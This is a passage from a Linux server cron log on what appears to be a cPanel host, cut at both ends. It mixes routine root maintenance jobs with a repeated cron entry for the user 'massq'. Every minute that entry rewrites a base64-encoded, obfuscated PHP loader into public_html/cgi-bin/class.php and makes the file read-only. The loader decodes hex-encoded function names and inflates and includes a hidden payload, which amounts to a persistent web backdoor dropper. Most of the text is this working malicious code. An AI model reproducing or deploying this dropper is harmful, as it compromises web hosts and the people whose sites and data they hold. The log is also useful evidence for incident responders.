O0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:11:01 server CROND[17933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:11:01 server CROND[17934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:12:01 server CROND[18324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:12:01 server CROND[18325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:12:01 server CROND[18323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:12:01 server CROND[18326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:13:01 server CROND[18716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:13:01 server CROND[18717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:13:01 server CROND[18718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:14:01 server CROND[19105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:14:01 server CROND[19106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:14:01 server CROND[19107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:15:01 server CROND[19518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:15:01 server CROND[19519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:15:01 server CROND[19524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:15:01 server CROND[19522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:15:01 server CROND[19523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:15:01 server CROND[19525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:15:01 server CROND[19526]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 12:15:01 server CROND[19527]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 12:15:01 server CROND[19528]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 12:15:01 server CROND[19520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:16:01 server CROND[20589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:16:01 server CROND[20590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:16:01 server CROND[20591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:17:02 server CROND[20974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:17:02 server CROND[20975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:17:02 server CROND[20977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:18:01 server CROND[21350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:18:01 server CROND[21351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:18:01 server CROND[21352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:19:01 server CROND[21750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:19:01 server CROND[21752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:19:01 server CROND[21753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:20:01 server CROND[22167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:20:01 server CROND[22171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:20:01 server CROND[22169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:20:01 server CROND[22170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:20:01 server CROND[22175]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:20:01 server CROND[22173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:20:01 server CROND[22184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:20:01 server CROND[22178]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:20:01 server CROND[22181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:21:01 server CROND[23347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:21:01 server CROND[23348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:21:01 server CROND[23349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:22:01 server CROND[23819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:22:01 server CROND[23820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:22:01 server CROND[23818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:23:01 server CROND[24201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:23:01 server CROND[24202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:23:01 server CROND[24203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkp